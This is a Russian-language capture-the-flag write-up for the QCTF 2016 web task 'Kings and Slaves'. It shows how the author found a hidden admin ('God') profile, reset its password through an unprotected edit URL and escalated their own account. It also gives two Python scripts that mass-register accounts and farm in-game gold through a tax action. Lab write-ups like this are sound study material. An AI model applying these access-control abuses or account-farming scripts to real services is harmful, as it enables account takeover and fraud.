Короли и Холопы - Web QCTF 2016
Этот таск оказался одним из самых интересных на данных соревнованиях.
Нам дан url - https://kingsandslaves.contest.qctf.ru
В этой "Игре" есть три рассы: Холопы, Короли и Боги.
Регистрация только для Холопов.
Задача стать Королем и купить флаг.
Регистрируем аккаунт.
В данном случае был зарегистрирован аккаунт InvulnerableKing
Стали доступны следующие действия:
1. Стать Королем
Королем можно стать только с божьей помощью. Но БОГ ничего не сделает. Ему лень.
2. Купить секрет
Только истинные короли могут купить секрет.
3. Редактировать - наша ссылка приняла следующий вид:
https://kingsandslaves.contest.qctf.ru/profile/InvulnerableKing/edit
Заметим, что вначале идет логин, а далее какое действие нужно совершить.
4.КОРОЛЬ - есть только одна кнопка "Платить налог", при нажатии на которую мы оплачиваем 100 монет и переходим на такой URL:
https://kingsandslaves.contest.qctf.ru/profile/КОРОЛЬ/tax
А что, если поменять логин "КОРОЛЬ" на другой несуществующий? Например мы хотим протестить SQL Injection:
https://kingsandslaves.contest.qctf.ru/profile/КОРОЛЬ'/show
Тааак.. видим какую то странную кнопку "К БОГУ".
Нажимаем её и переходим на другой URL:
https://kingsandslaves.contest.qctf.ru/profile/БОГ_9cc68bf901212d499bf3c8e92ab05d33/show
где 9cc68bf901212d499bf3c8e92ab05d33 является MD5 хешем нашего логина.
Вспоминаем, что последний переход (в данном случае show) отвечает за действие над аккаунтом. Меняем его на edit и..
Оказывается мы можем менять ему пароль! Ну давайте поменяем на test и попробуем авторизоваться.
Успех!
Но это еще не конец - флага у нас еще нет. Вспоминаем, что именно БОГ может делать кого-либо королем. Переходим на URL нашего аккаунта InvulnerableKing:
https://kingsandslaves.contest.qctf.ru/profile/InvulnerableKing/show
и делаем наш аккаунт королем!
Вы успешно сделали из холопа короля. К чему это приведет?
Перелогинимся под наш аккаунт, попытаемся купить секрет и..
У вас не хватает золота, Ваше Величество. Нужно 100000.
Теперь опять же вспоминаем, что Холопы могут платить Королю налог,у Холопа после регистрации 1000 золотых, а создавать таких холопов мы можем до бесконечности!
ВАЖНО!
На данном пункте есть два решения:
I. Создание 100 аккаунтов вручную, и последующая оплата налога с каждого (как и вероятнее всего сделали все, кто решил таск)
II. Автоматизировать данный процеcc.
Про первый пункт я не буду рассказывать тк там все очевидно, я вам предоставлю мой вариант автоматизированного решения.
Были написаны два скрипта.
Первый скрипт отвечает за регистрацию 100 аккаунтов:
import requests
session=''
csrf_token=''
headers={'Content-Type':'application/x-www-form-urlencoded'}
z = 0
while z<=100:
data = {'csrf_token':csrf_token,
'username':'InvulnerableWriteup'+str(z),
'password':'Invulnerable',
'password2':'Invulnerable',
'submit':'%D0%A0%D0%BE%D0%B4%D0%B8%D1%82%D1%8C%D1%81%D1%8F'
}
cookies={'session':session}
r = requests.post('https://kingsandslaves.contest.qctf.ru/auth/register',
data=data,
cookies=cookies,
headers=headers
)
session=r.cookies['session']
t = r.text
i = t.index('name="csrf_token" type="hidden" value="')
csrf_token=t[i+39:i+91]
print(z)
z+=1
Второй скрипт за авторизацию под аккаунты и оплату всех 1000 золотых:
import requests
session='.eJwNzktqQzEMQNG9eJyB_rKymSBZNpRCAmlnoXvvm98D9zMeXz3uYxngwVBbHUmhZ02OmZSRIA3bJKx8kqBBzkxUAQ0njIAZcgAvRXNtqrBF6dQozm0mVeLGdpnjsaN0lcjiGS3cKUmioeM21s_7PH5f3_t5_SAfLYF9xbBbmT3QizhFZu_0smlAyePvH51ANCU.CeZr1A.aOBPIOU7nTk5HvJVKT8ZGxEDFB4'
csrf_token='1459939428%23%23413fb60de81418b7d60dd640f64ab78b6105cad8'
headers={'Content-Type':'application/x-www-form-urlencoded'}
remember_token = ''
z = 0
while z<=100:
data = {'csrf_token':csrf_token,
'username':'InvulnerableWriteup'+str(z),
'password':'Invulnerable',
'submit':'%D0%9F%D1%80%D0%BE%D1%81%D0%BD%D1%83%D1%82%D1%8C%D1%81%D1%8F'
}
cookies={'session':session}
r = requests.post('https://kingsandslaves.contest.qctf.ru/',
data=data,
cookies=cookies,
headers=headers,
allow_redirects=0
)
if z>0: remember_token = r.cookies['remember_token']
cookies={'remember_token':remember_token}
for x in range(10):
r = requests.get('https://kingsandslaves.contest.qctf.ru/profile/InvulnerableKing/tax',
cookies=cookies,
headers=headers
)
cookies={'session':session}
r = requests.get('https://kingsandslaves.contest.qctf.ru/',
headers=headers,
cookies=cookies
)
t = r.text
i = t.index('name="csrf_token" type="hidden" value="')
csrf_token=t[i+39:i+91]
session=r.cookies['session']
print(z)
z+=1
Почему же код получился таким большим? Все потому что
Вернемся к заданию. Подождав пару минут, получаем достаточное количество монет на нашем аккаунте для приобретения секрета!
Покупаем секрет и получаем флаг: QCTF_d561499418f345c491cce265067d0b0f
Некоторые замечания по заданию - думаю CSRF токены и сессия были в таске лишними. А особенно когда в команде 2 и меньше участников, то они просто вынуждены решать программным способом и реализовывать взаимодействие с Django. Это один из редких случаев, когда я бы предпочел PHP:)
P.S.https://github.com/Rubikoid/qctf_school_2016/blob/master/xolopo_generator.py - упрощенный код от Rubikoid
- Автор: drakylar
- Комментарии: 1
- Просмотры: 3909